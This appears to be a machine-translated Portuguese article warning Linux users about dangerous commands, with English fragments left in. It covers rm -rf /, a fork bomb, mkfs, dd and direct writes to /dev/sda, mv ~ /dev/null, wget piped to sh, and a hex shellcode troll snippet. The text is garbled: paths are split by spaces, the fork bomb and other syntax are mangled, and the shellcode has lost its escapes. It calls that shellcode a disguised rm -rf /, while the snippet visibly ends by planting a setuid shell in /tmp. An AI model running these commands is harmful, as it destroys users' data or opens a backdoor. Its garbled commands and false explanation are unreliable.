Aprender os comandos que você não deve executar pode ajudar a protegê-lo de trolls e ao mesmo tempo aumentar sua compreensão de como o Linux funciona. Este não é um guia exaustivo e os comandos aqui podem ser remixados de várias formas.
Observe que muitos desses comandos só serão perigosos se forem prefixados com sudo no Ubuntu - eles não funcionarão de outra forma. Em outras distribuições do Linux, a maioria dos comandos deve ser executada como root.
rm -rf / - Apaga tudo!
O comando rm -rf / exclui tudo o que for possível, incluindo arquivos no disco rígido e arquivos em dispositivos de mídia removíveis conectados. Este comando é mais compreensível se estiver desmembrado:
rm – Remove the following files.
- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.
/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.
O Linux terá todo o prazer em obedecer a este comando e deletar tudo sem avisar, portanto tenha cuidado ao usá-lo! O comando rm também pode ser usado de outras maneiras perigosas - rm –rf ~ excluir todos os arquivos da sua pasta pessoal, enquanto rm -rf. * excluiria todos os seus arquivos de configuração.
A lição: Cuidado com rm -rf.
Rm disfarçado / rf /
Veja outro snippet de código em toda a web:
char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
Esta é a versão hexada de rm –rf / – a execução desse comando eliminaria seus arquivos como se você tivesse executado rm –rf /.
A lição: Não execute comandos aparentemente disfarçados de aparência estranha que você não entende.
: () {: |: &};: - Garfo Bomba
A seguinte linha é uma função bash simples, mas perigosa:
:(){:|: &};:
Essa linha curta define uma função de shell que cria novas cópias de si mesmo. O processo se replica continuamente, e suas cópias se replicam continuamente, ocupando rapidamente todo o tempo e a memória da CPU. Isso pode causar o congelamento do computador. É basicamente um ataque de negação de serviço.
A lição: As funções de bash são poderosas, mesmo as muito curtas.
mkfs.ext4 / dev / sda1 - Formata um disco rígido
o mkfs.ext4 / dev / sda1comando é simples de entender:
mkfs.ext4 – Create a new ext4 file system on the following device.
/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.
Juntos, esse comando pode ser equivalente a executar o formato c: no Windows - ele limpará os arquivos da sua primeira partição e os substituirá por um novo sistema de arquivos.
Este comando pode vir em outras formas também - mkfs.ext3 / dev / sdb2 formaria a segunda partição no segundo disco rígido com o sistema de arquivos ext3.
A lição: Cuidado com os comandos em execução diretamente em dispositivos de disco rígido que começam com / dev / sd.
comando> / dev / sda - Escreve diretamente em um disco rígido
o comando> / dev / sda A linha funciona de maneira semelhante - ele executa um comando e envia a saída desse comando diretamente para o primeiro disco rígido, gravando os dados diretamente na unidade de disco rígido e danificando o sistema de arquivos.
command – Run a command (can be any command.)
> – Send the output of the command to the following location.
/dev/sda – Write the output of the command directly to the hard disk device.
A lição: Como acima, tenha cuidado ao executar comandos que envolvem dispositivos de disco rígido que começam com / dev / sd.
dd if = / dev / random de = / dev / sda - Escreve lixo em um disco rígido
o dd if = / dev / random de = / dev / sda linha também irá obliterar os dados em um dos seus discos rígidos.
dd – Perform low-level copying from one location to another.
if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).
of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.
A lição: dd copia dados de um local para outro, o que pode ser perigoso se você estiver copiando diretamente para um dispositivo.
mv ~ / dev / null - Move seu diretório pessoal para um buraco negro
/ dev / null é outro local especial - mover algo para / dev / null é a mesma coisa que destruí-lo. Pense em / dev / null como um buraco negro. Essencialmente, mv ~ / dev / null envia todos os seus arquivos pessoais para um buraco negro.
mv – Move the following file or directory to another location.
~ – Represents your entire home folder.
/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.
A lição: O caracter ~ ~ representa a sua pasta home e mover coisas para / dev / null as destrói.
wget https://example.com/something -O - | sh - transfere e executa um script
A linha acima faz o download de um script da web e o envia para sh, que executa o conteúdo do script. Isso pode ser perigoso se você não tiver certeza do que é o script ou se não confiar em sua origem. Não execute scripts não confiáveis.
wget – Downloads a file. (You may also see curl in place of wget.)
https://example.com/something – Download the file from this location.
| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.
sh – Send the file to the sh command, which executes it if it’s a bash script.
A lição: Não faça o download e execute scripts não confiáveis da Web, mesmo com um comando.
Conhece outros comandos perigosos que novos (e experientes) usuários de Linux não deveriam executar? Deixe um comentário e compartilhe-os!